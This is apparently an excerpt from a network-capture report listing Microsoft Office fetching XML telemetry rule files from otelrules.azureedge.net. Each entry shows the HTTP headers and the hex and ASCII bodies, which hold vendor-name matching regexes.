20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.10	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:01 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161002Z-15b8b599d88tr2flhC1TEB5gk400000001rg00000000fhkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.10	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:01 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161002Z-174c587ffdfb485jhC1TEBmc1s00000001eg00000000h7g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:10:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.10	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:02 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161002Z-178bfbc474bv7whqhC1NYC1fg4000000038g000000005ncm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.10	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:02 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161003Z-15b8b599d88s6mj9hC1TEBur3000000001m0000000001ert x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.10	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161004Z-178bfbc474bw8bwphC1NYC38b40000000330000000005z7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.10	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161004Z-178bfbc474bwh9gmhC1NYCy3rs000000036g00000000q7e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.10	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161004Z-178bfbc474btvfdfhC1NYCa2en00000003b00000000052n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.10	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161004Z-15b8b599d88g5tp8hC1TEByx6w00000001qg000000004wq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.10	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:05 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161005Z-174c587ffdf9xbcchC1TEBxkz400000001hg000000008r5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.10	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161006Z-15b8b599d88l2dpthC1TEBmzr000000001n000000000b9zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.10	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:06 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161006Z-178bfbc474b9xljthC1NYCtw94000000036g000000001qqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:06 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.10	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:06 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161007Z-174c587ffdf8lw6dhC1TEBkgs800000001q0000000009y3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
